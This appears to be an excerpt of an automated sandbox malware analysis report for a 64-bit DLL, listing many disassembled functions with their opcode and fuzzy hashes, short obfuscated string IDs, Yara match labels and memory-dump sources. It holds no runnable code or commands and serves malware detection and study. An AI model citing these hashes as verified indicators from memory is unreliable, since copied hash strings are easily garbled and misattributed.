                                                                        • Opcode ID: 8404b4b38dded9abebae47dab0adc7fa90b3b0a32bd634e0e4c225ac41767b4a
                                                                        • Instruction ID: 5eaac298a7f33ba7bf4117bddca15c0187d6dbc774c0b7cd86d7f8673d357630
                                                                        • Opcode Fuzzy Hash: 8404b4b38dded9abebae47dab0adc7fa90b3b0a32bd634e0e4c225ac41767b4a
                                                                        • Instruction Fuzzy Hash: D9814B70D046088BDF69CFE8C49669DBBB1FF48304F14822DE44AAB795D7B4A94ACF41
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180002820 Relevance: 3.9, Strings: 3, Instructions: 179COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Q2$`A$p"
                                                                        • API String ID: 0-552485201
                                                                        • Opcode ID: c502aedb671b04fadc2be20481da80d7c520fa3a2562906962d15d374359ee86
                                                                        • Instruction ID: 4bc191a9eaac793ffb9bec7478b313b52ff2a4a97069cf0ef38c7ae181cb3859
                                                                        • Opcode Fuzzy Hash: c502aedb671b04fadc2be20481da80d7c520fa3a2562906962d15d374359ee86
                                                                        • Instruction Fuzzy Hash: 0181187090464D8BDF58CF68C8896ED7BB1FB4C358F164319E84AB72A0CB78D945CB89
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001EFAC Relevance: 3.8, Strings: 3, Instructions: 99COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: (9u8$wk$|0
                                                                        • API String ID: 0-3813788301
                                                                        • Opcode ID: b64aaa0beb00b950e389d4285ffb60f5c740b65b08a5c7a67ee09935cf3d7caa
                                                                        • Instruction ID: 6ff52757ac223fee262e5ff7172fc9fc2a483c692f45d04e5674a4e30e73f7c4
                                                                        • Opcode Fuzzy Hash: b64aaa0beb00b950e389d4285ffb60f5c740b65b08a5c7a67ee09935cf3d7caa
                                                                        • Instruction Fuzzy Hash: 8E410770A087448FD768DF28C19561ABBF1FB89704F104A2DF69ACB361DB75D905CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001C5AC Relevance: 3.8, Strings: 3, Instructions: 95COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: X$vn$zk
                                                                        • API String ID: 0-721357504
                                                                        • Opcode ID: 50b4caa98fdb08d8472cbcfe9057dc5859aff7734f74001ad36ab103d46c2b24
                                                                        • Instruction ID: 8d8806a85c519e3200b93bb456119f7c0df26c6335e92b6b2966f459539fe731
                                                                        • Opcode Fuzzy Hash: 50b4caa98fdb08d8472cbcfe9057dc5859aff7734f74001ad36ab103d46c2b24
                                                                        • Instruction Fuzzy Hash: 4A41077090070D8BDB48CF68D98A5DE7FF0FB18398F14422DE84AA6294D7749594CFC9
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001C720 Relevance: 3.8, Strings: 3, Instructions: 91COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: )rbY$ho$j^
                                                                        • API String ID: 0-3500879238
                                                                        • Opcode ID: 19a3861e0a1889c50caccb0f19a486b3e4770237e53b4c202be965853e098e35
                                                                        • Instruction ID: 0f1b7a5439ddd2d319b6169c2b5f91ba7435b066b51f65b30932add263ebc91a
                                                                        • Opcode Fuzzy Hash: 19a3861e0a1889c50caccb0f19a486b3e4770237e53b4c202be965853e098e35
                                                                        • Instruction Fuzzy Hash: E4411E305187859BD3E9CA28C4C575EBBE0FB853A4FA0692DF183862A0C775D9898B47
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180023DD4 Relevance: 3.8, Strings: 3, Instructions: 89COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: '^$;j$_ugL
                                                                        • API String ID: 0-711956307
                                                                        • Opcode ID: a3dfb4ea163b488dac0c45a878ea3ce93fe05d0bf929e5ca77de4ba23b6ce8f8
                                                                        • Instruction ID: 45e22c454f17848a0e92d6efdadf70c63323d94dc79af261a2f07b325b270fa5
                                                                        • Opcode Fuzzy Hash: a3dfb4ea163b488dac0c45a878ea3ce93fe05d0bf929e5ca77de4ba23b6ce8f8
                                                                        • Instruction Fuzzy Hash: 1841ADB05087C48BE388DFA8D58951AFBE1FB88344F11495DF4868B7A1D7B4D888CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180012F94 Relevance: 3.8, Strings: 3, Instructions: 89COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 0X$?#$H<
                                                                        • API String ID: 0-3583317205
                                                                        • Opcode ID: 5dd217b1dbecaa9cb84c1939c45f6ca4a20d82fe17e08cc5469d03137104097c
                                                                        • Instruction ID: 5eb98aaa72892e4607d558b4c8a15eeeae55368076ab3af7d719d31ebc9a32f8
                                                                        • Opcode Fuzzy Hash: 5dd217b1dbecaa9cb84c1939c45f6ca4a20d82fe17e08cc5469d03137104097c
                                                                        • Instruction Fuzzy Hash: F941A17080074E8FDB48DF68C88A5CE7FB0FB68398F214619EC5997250D77496A4CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000CB6C Relevance: 3.8, Strings: 3, Instructions: 88COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: B~$w]$|?
                                                                        • API String ID: 0-247504964
                                                                        • Opcode ID: 9a9b894874b930322d8b56c759be84ee1933409801e22c3e19b3390b4dc3abec
                                                                        • Instruction ID: 6f29d9f259a2f8b817fb03a10ea2cc51582cb603a51db711d08adecf677d0df9
                                                                        • Opcode Fuzzy Hash: 9a9b894874b930322d8b56c759be84ee1933409801e22c3e19b3390b4dc3abec
                                                                        • Instruction Fuzzy Hash: 16310330609B45AFD398DF28C59A61BBAF1FBC8354F80692DF596C73A0D7B4D8048B42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002B570 Relevance: 3.8, Strings: 3, Instructions: 76COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Xd$toX^$o
                                                                        • API String ID: 0-2635763631
                                                                        • Opcode ID: cc9a8f5f35b0414d693a0a8f8e15fc44c02e30de63412d1481f65eb75a055ea8
                                                                        • Instruction ID: 8b8f55eb08cc653701d13ba99f6020385470b6a3d4044a35d1a272fd8c44525a
                                                                        • Opcode Fuzzy Hash: cc9a8f5f35b0414d693a0a8f8e15fc44c02e30de63412d1481f65eb75a055ea8
                                                                        • Instruction Fuzzy Hash: E731F9B090034E8BDF48CF64C8864DE7FB0FB28358F104619E855A6294D3B8D6A5CFD5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180010B60 Relevance: 3.8, Strings: 3, Instructions: 65COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: F%$S7$W
                                                                        • API String ID: 0-504169931
                                                                        • Opcode ID: 1b4f5dc09e16ab55a128d36fb56911f245a9ad70eaff82c8802139e490506b0b
                                                                        • Instruction ID: 53aaa8d8551c3443281d3fe00937c7d863abb147ddd99fa81f261ce72a0f4723
                                                                        • Opcode Fuzzy Hash: 1b4f5dc09e16ab55a128d36fb56911f245a9ad70eaff82c8802139e490506b0b
                                                                        • Instruction Fuzzy Hash: 703193B450078E8FDF48DF68D84A5EE3BB4FB08348F404A19FC2697290D3B49664CB94
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180025E30 Relevance: 3.8, Strings: 3, Instructions: 52COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: =/$N$ir
                                                                        • API String ID: 0-3638043655
                                                                        • Opcode ID: f14377342b98c92f0ae74d6a14aef29101b788d7960e972439fc8636954e3bbc
                                                                        • Instruction ID: e07859de9050469bd77d243e9864f0c9f9477a71291c65f1165ba2b30ad3deed
                                                                        • Opcode Fuzzy Hash: f14377342b98c92f0ae74d6a14aef29101b788d7960e972439fc8636954e3bbc
                                                                        • Instruction Fuzzy Hash: D82159B4628380AFD3C8DF28C48991ABBF0FB99304F902A1DF89A86364D775D444CB46
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000FE58 Relevance: 2.9, Strings: 2, Instructions: 351COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: M>g^$# n
                                                                        • API String ID: 0-3693442824
                                                                        • Opcode ID: ffad9460d949737607e181f809e65f38e2dc30a25c6dc9cf3a30a34d70330952
                                                                        • Instruction ID: 9d566d95faacac891c9efc5505e075de48e01900a01edcdb870b3f43f1bcce8e
                                                                        • Opcode Fuzzy Hash: ffad9460d949737607e181f809e65f38e2dc30a25c6dc9cf3a30a34d70330952
                                                                        • Instruction Fuzzy Hash: F0022B71D0070D8BDB69DFA4C48A6DEBFB0FF54384F108119E852AA694C7B4965ACFC2
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180023894 Relevance: 2.8, Strings: 2, Instructions: 330COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Z/st$(<
                                                                        • API String ID: 0-4098472248
                                                                        • Opcode ID: 0bcf42cdc4c205656b4fa803c735b27a2ee53dcc839eac236b025070e442ed9e
                                                                        • Instruction ID: d206f3ef88a27dc3648d59cb4b1b2e4c505334a3f6304ac7e18b1482caf26991
                                                                        • Opcode Fuzzy Hash: 0bcf42cdc4c205656b4fa803c735b27a2ee53dcc839eac236b025070e442ed9e
                                                                        • Instruction Fuzzy Hash: AFF10F74A0670CCBEB69CF68C58A69D7BE1FF14344F20412DEC1A972A2C774D929CB49
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180010C68 Relevance: 2.8, Strings: 2, Instructions: 325COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: M"l%$\\|
                                                                        • API String ID: 0-3282688515
                                                                        • Opcode ID: fef3466aebc42e96b517a172b119936f2b1d308262c751b51633e8524cc58e5e
                                                                        • Instruction ID: 519a057b5561c15aaa8230f57b090b3fb7b35f0b28d8e3053392c9984cd6c7cc
                                                                        • Opcode Fuzzy Hash: fef3466aebc42e96b517a172b119936f2b1d308262c751b51633e8524cc58e5e
                                                                        • Instruction Fuzzy Hash: 73F1D37150460DDFDB98DF28C08A6DE3BE0FB58318F41812AFC5A9B2A4D774DA68CB45
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000C458 Relevance: 2.8, Strings: 2, Instructions: 309COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: $$R[$|7fq
                                                                        • API String ID: 0-3053601657
                                                                        • Opcode ID: c96b7e7975d98778142b73115a829a7a6337c70235ef8dacee511bf5012e4c55
                                                                        • Instruction ID: b62aa2794ef6181bec28d28c13215a7bce91a68ebfa205e22be58e7f4210e53a
                                                                        • Opcode Fuzzy Hash: c96b7e7975d98778142b73115a829a7a6337c70235ef8dacee511bf5012e4c55
                                                                        • Instruction Fuzzy Hash: 07029471504AC88BDBB9DF24CC897EF7BA0FB44356F20551AD8899A290DFB49788CF41
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180013210 Relevance: 2.7, Strings: 2, Instructions: 245COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 5z}Q$Ex]
                                                                        • API String ID: 0-4294553439
                                                                        • Opcode ID: 60d261168d54ed8669684db972f0da92f75c5a672a4556fccae37f95ae53949a
                                                                        • Instruction ID: 7fe3ff34485f41d0eab9b40bdd232c5b0cbced3b6c26ead2164b23299ca06124
                                                                        • Opcode Fuzzy Hash: 60d261168d54ed8669684db972f0da92f75c5a672a4556fccae37f95ae53949a
                                                                        • Instruction Fuzzy Hash: 82C10A7051478DEBDBE8CF28C8CAADD3BA0FB44794F906219FD0686290D779D985CB81
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800036E0 Relevance: 2.7, Strings: 2, Instructions: 221COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: KPm$L(X
                                                                        • API String ID: 0-3076173834
                                                                        • Opcode ID: 29e380a3567a34450ef70eeabc585a2a38296516db3d5f650c96c60c61edbd7d
                                                                        • Instruction ID: 35e08a9b6a05495b470d429b7c3ddf40d808d53b8ace5d6d781eafff6f9c95d7
                                                                        • Opcode Fuzzy Hash: 29e380a3567a34450ef70eeabc585a2a38296516db3d5f650c96c60c61edbd7d
                                                                        • Instruction Fuzzy Hash: 6DC178B1900709CFDB98DF68C55A59D7BB9FB59308F00412AFC0E9A2A0D774F919CB46
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001A408 Relevance: 2.7, Strings: 2, Instructions: 195COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Gx!)$K&
                                                                        • API String ID: 0-3913818437
                                                                        • Opcode ID: 602b52c951a78bc629fd8f5a1cf697b3c5233d7fbd985276774e4fbf2e2954fb
                                                                        • Instruction ID: 20442ed2abb10734ad7a672383fa73cf10a8ffa798324d3ba54bea1da3a8006f
                                                                        • Opcode Fuzzy Hash: 602b52c951a78bc629fd8f5a1cf697b3c5233d7fbd985276774e4fbf2e2954fb
                                                                        • Instruction Fuzzy Hash: 63A13B70A08B0CCFEBA5DFA8D4497DDBBF1FF54344F105029E815A62A2D7B8950ACB45
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800090D4 Relevance: 2.7, Strings: 2, Instructions: 157COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 2ur$M2e7
                                                                        • API String ID: 0-622561414
                                                                        • Opcode ID: f3a0f7fe7cdfd4ec089186b0c0629e8800d922d5da475fed8d413755788e987d
                                                                        • Instruction ID: 545cfc70241306e39ada102ecc0d52e6672c9ba41bdd29dcb51d349968458dba
                                                                        • Opcode Fuzzy Hash: f3a0f7fe7cdfd4ec089186b0c0629e8800d922d5da475fed8d413755788e987d
                                                                        • Instruction Fuzzy Hash: 689177B650274CCFDB98CF28C28A5CD3BE0BF54308F50452AFC1A9A2A5D3B4D569CB49
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000D300 Relevance: 2.6, Strings: 2, Instructions: 150COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: dU$e
                                                                        • API String ID: 0-860301154
                                                                        • Opcode ID: 4d20e3d3d0ddaa607150751af3ba44bc43ce26d75f6e793552f6e28e9300345c
                                                                        • Instruction ID: 8dfc63f3bd2e3510b102a9370b4066844ffffa02c52ac6fddf3aa14a20cdf2d9
                                                                        • Opcode Fuzzy Hash: 4d20e3d3d0ddaa607150751af3ba44bc43ce26d75f6e793552f6e28e9300345c
                                                                        • Instruction Fuzzy Hash: 9951287091C7848FD779DF28D48A7DABBE0FB98714F00091EE98D87256D770A985CB82
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180001014 Relevance: 2.6, Strings: 2, Instructions: 148COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: L>$!
                                                                        • API String ID: 0-3957590705
                                                                        • Opcode ID: 8e7eefd5e4a5ec16111ceca1e5a3bd8f6436754f76ea5725b70664953684caaf
                                                                        • Instruction ID: 499ae03e3c56c9fcee883f6158e786868ab460f7d4f19f74a8fe5feef00a9cc9
                                                                        • Opcode Fuzzy Hash: 8e7eefd5e4a5ec16111ceca1e5a3bd8f6436754f76ea5725b70664953684caaf
                                                                        • Instruction Fuzzy Hash: 0871047151074C9BDB89CF24C8C9AD93BA1FF483A8FA56219FC0A97290C774D5C5CB85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180004C64 Relevance: 2.6, Strings: 2, Instructions: 144COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: ,$6n
                                                                        • API String ID: 0-331226965
                                                                        • Opcode ID: 7aebb6b37ab07bbe85f5a0beca113342b5f6cb518f77e327aa1e19bfc114b024
                                                                        • Instruction ID: e39e8d23b5c0b6e35dde59d26ae12db9569786aa01e177dac46d30e910f9ab6f
                                                                        • Opcode Fuzzy Hash: 7aebb6b37ab07bbe85f5a0beca113342b5f6cb518f77e327aa1e19bfc114b024
                                                                        • Instruction Fuzzy Hash: C4510470518784AFD398DF28C4C661ABBE0FBC8394F90691EF886C72A4D774D945CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000B0F8 Relevance: 2.6, Strings: 2, Instructions: 115COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: /o!V$?
                                                                        • API String ID: 0-2462428742
                                                                        • Opcode ID: 8e519488506a05bd09ef9676569c20f7317acaf1ac4a6e35997866d4d24ae98d
                                                                        • Instruction ID: d020778309e3bdeb342fa62f2e8b824501f8b958ae4ae1b85c70fc314f8f4559
                                                                        • Opcode Fuzzy Hash: 8e519488506a05bd09ef9676569c20f7317acaf1ac4a6e35997866d4d24ae98d
                                                                        • Instruction Fuzzy Hash: AB510271519784AFD3C8DF28C58AA1BBBE0FB88744F806A1DF89687260D7B4D8058F47
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000D92C Relevance: 2.6, Strings: 2, Instructions: 106COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 5}4$C
                                                                        • API String ID: 0-1938350828
                                                                        • Opcode ID: 6403902976708640ae1ffeada9c7fdc6ad2ba0260a522af9c902725f6d7b6e44
                                                                        • Instruction ID: 2765d4afcdf8f3a8a33a56c1b0e8d4f0d4b6b56986e35a311c332d8402d98ca0
                                                                        • Opcode Fuzzy Hash: 6403902976708640ae1ffeada9c7fdc6ad2ba0260a522af9c902725f6d7b6e44
                                                                        • Instruction Fuzzy Hash: 53415E3021DB449FE798DF28C08962BBBE0FBC8351FA0592DF58AC7260CB74D9458B42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180028990 Relevance: 2.6, Strings: 2, Instructions: 95COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: #aj$Kx=3
                                                                        • API String ID: 0-3217488289
                                                                        • Opcode ID: 5c797b4df1fad9b256fad6ce7e8cc3147628fdb8f59d641648e7e14701fbe875
                                                                        • Instruction ID: ba87fb1cd45600e3dc89194965abd5f0a77571ab2570ac2993d43d21ad521d92
                                                                        • Opcode Fuzzy Hash: 5c797b4df1fad9b256fad6ce7e8cc3147628fdb8f59d641648e7e14701fbe875
                                                                        • Instruction Fuzzy Hash: A751B2B180074A8FDF48CF64C88A5DE7FB0FB58398F10461DE856A6290D3B896A5CFD4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180026520 Relevance: 2.6, Strings: 2, Instructions: 93COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: ":$fE
                                                                        • API String ID: 0-3906995390
                                                                        • Opcode ID: a4ac12280290c4e53d05e228cc403d3de4e0c1e0d207c578d24f1d8e013f81cc
                                                                        • Instruction ID: 665719c72c2c13dda2e675ac3bcc52588f6d17d7961aad00336500418f10e02f
                                                                        • Opcode Fuzzy Hash: a4ac12280290c4e53d05e228cc403d3de4e0c1e0d207c578d24f1d8e013f81cc
                                                                        • Instruction Fuzzy Hash: AF41D5B090074E8BDB48CF28C48A5DE7FB0FB68398F10461DF856A6290D778D6A4CBD5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180029A40 Relevance: 2.6, Strings: 2, Instructions: 92COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: HY$^(
                                                                        • API String ID: 0-913150625
                                                                        • Opcode ID: ae60d2ecb98db3c19a83d9d9c50745112f10835cee04a9db975a2c94e61bf4ed
                                                                        • Instruction ID: 80dfb67d55c2f087c0e9e2a5977c4695d9076c0d8dad59cceef42c6e865c4752
                                                                        • Opcode Fuzzy Hash: ae60d2ecb98db3c19a83d9d9c50745112f10835cee04a9db975a2c94e61bf4ed
                                                                        • Instruction Fuzzy Hash: 0741E270918B889FD798DF29C09691ABBE2FBC8304F405A1EF5968B364DB74E505CF42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180013BB4 Relevance: 2.6, Strings: 2, Instructions: 84COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
